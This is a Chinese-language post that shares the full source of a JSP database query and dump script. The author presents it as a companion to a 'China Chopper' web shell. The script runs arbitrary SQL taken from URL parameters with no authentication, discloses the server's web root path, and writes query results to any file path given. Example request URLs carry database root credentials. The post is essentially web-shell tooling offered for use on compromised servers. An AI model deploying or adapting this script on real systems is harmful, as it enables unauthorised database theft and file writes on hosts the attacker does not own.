jsp jdbc查询和备份脚本
以前发的那个菜刀jsp脚本就有这个功能,只是在菜刀里面操作起来没有直接自己带参数那么好使。之前基本上只考虑了简单的连接方式,对于复杂点的Oracle的RAC并不实用。改进了下小脚本,查询参数直接在请求的URL传递就行了。可以直接是URL也可以是URL+USER+PASS,path参数如果传表示备份到指定路径,不传表示在当前页面显示。写文件默认指定的是UTF-8,如乱码需修改编码或连接字符串里面添加编码,如:jdbc:mysql://localhost:3306/dbname?useUnicode=true&characterEncoding=UTF-8。数据源方式连接已发过,都差不多不再发了。好了以后请小伙伴儿不要再问这个问题了,谢谢。
http://localhost:8080/Struts/index.jsp?driver=com.mysql.jdbc.Driver&url=jdbc%3Amysql%3A%2f%2flocalhost%3A3306%2ftest%3Fuser%3Droot%26password%3D111111&sql=select version(),user(),database()&path=/Users/yz/1.txt
http://localhost:8080/Struts/index.jsp?driver=com.mysql.jdbc.Driver&url=jdbc%3Amysql%3A%2f%2flocalhost%3A3306%2ftest&user=root&pass=111111&sql=select version(),user(),database()&path=/Users/yz/1.txt
如果是RAC直接写rac字符串。
带path参数:
源码:
<%@page import="java.io.*,java.util.*,java.sql.*"%> <style> th,td { border: 1px solid #C1DAD7; font-size: 12px; padding: 6px; color: #4f6b72; } </style> <% try { Class.forName(request.getParameter("driver")); String user = request.getParameter("user"); String sql = request.getParameter("sql"); Connection c = null; if(user==null){ c = DriverManager.getConnection(request.getParameter("url")); }else{ c = DriverManager.getConnection(request.getParameter("url"),request.getParameter("user"),request.getParameter("pass")); } BufferedWriter bw = null; if (c != null) { String path = request.getParameter("path"); boolean f = path != null && !"".equals(path); ResultSet rs = c.prepareStatement(sql).executeQuery(); ResultSetMetaData d = rs.getMetaData(); out.println("<font color='red'>WebPath:"+request.getSession().getServletContext().getRealPath("/")+"<br/>SQL:"+sql+"</font><br/><table><tr>"); if (f) { bw = new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(request.getParameter("path"))),"UTF-8")); } for (int i = 1; i <= d.getColumnCount(); i++) { if (f) { bw.write(d.getColumnName(i) + "("+ d.getColumnTypeName(i) + ")"); } else { out.println("<th>" + d.getColumnName(i) + "("+ d.getColumnTypeName(i) + ")\t" + "</th>"); } } if (f) { bw.newLine(); } out.println("<tr/>"); while (rs.next()) { out.println("<tr>"); for (int i = 1; i <= d.getColumnCount(); i++) { if (f) { bw.write(rs.getObject(d.getColumnName(i)) + " "); } else { out.println("<td>"+ rs.getObject(d.getColumnName(i))+ "</td>"); } } if (f) { bw.newLine(); } else { out.println("<tr/>"); } } if (f) { bw.flush(); bw.close(); out.println("[/ok]"); } } else { out.println("Connection Error!"); } } catch (Exception e) { out.println(e.toString()); } %>
导出格式:
version()(VARCHAR)user()(VARCHAR)database()(VARCHAR) 5.5.36 root@localhost test